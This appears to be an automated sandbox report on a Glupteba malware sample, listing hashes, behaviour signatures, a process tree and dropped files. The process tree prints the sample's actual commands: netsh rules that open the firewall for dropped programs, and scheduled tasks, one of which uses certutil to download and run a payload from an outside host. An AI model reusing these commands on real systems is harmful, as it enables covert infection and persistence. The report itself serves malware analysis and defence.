Analysis

  • max time kernel
    145s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2024 02:35

General

  • Target

    df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    df559463b0a2106b2d19876a6a486a5b

  • SHA1

    7e9d48fe122fd85ec9289c2633edc1772599e9be

  • SHA256

    2d7909db6a1d78f8db2c8d3b4338f484d4871d728cc8df14f9eb7482a97830c8

  • SHA512

    554cb5dd59b29be82c1de960725bd1ff3bdbe53d51a35022cd4a386a07600795a5d5331b232baea7330bbd5c1799b4d002dcf2bb9e25c303ad537c2e33d7c3ae

  • SSDEEP

    98304:ZmI5a+EcATjIrJfbIejv66nq4veakSTO4AmCqV8ly:8GrhAHWlIuyieHSTjzVky

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3792
    • C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2260
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2396
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\05fc202ece11\05fc202ece11.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\05fc202ece11\05fc202ece11.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2896
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4592
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3208
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3140
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2960
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1404

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    df559463b0a2106b2d19876a6a486a5b

    SHA1

    7e9d48fe122fd85ec9289c2633edc1772599e9be

    SHA256

    2d7909db6a1d78f8db2c8d3b4338f484d4871d728cc8df14f9eb7482a97830c8

    SHA512

    554cb5dd59b29be82c1de960725bd1ff3bdbe53d51a35022cd4a386a07600795a5d5331b232baea7330bbd5c1799b4d002dcf2bb9e25c303ad537c2e33d7c3ae

  • memory/2260-12-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/3792-1-0x0000000006E00000-0x00000000071B5000-memory.dmp

    Filesize

    3.7MB

  • memory/3792-2-0x00000000071C0000-0x00000000078BC000-memory.dmp

    Filesize

    7.0MB

  • memory/3792-3-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

  • memory/3792-5-0x00000000071C0000-0x00000000078BC000-memory.dmp

    Filesize

    7.0MB

  • memory/3792-6-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

  • memory/3792-4-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-18-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-24-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-19-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-20-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-21-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-22-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-23-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-17-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-25-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-26-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-27-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-28-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-29-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB

  • memory/4592-30-0x0000000000400000-0x000000000514C000-memory.dmp

    Filesize

    77.3MB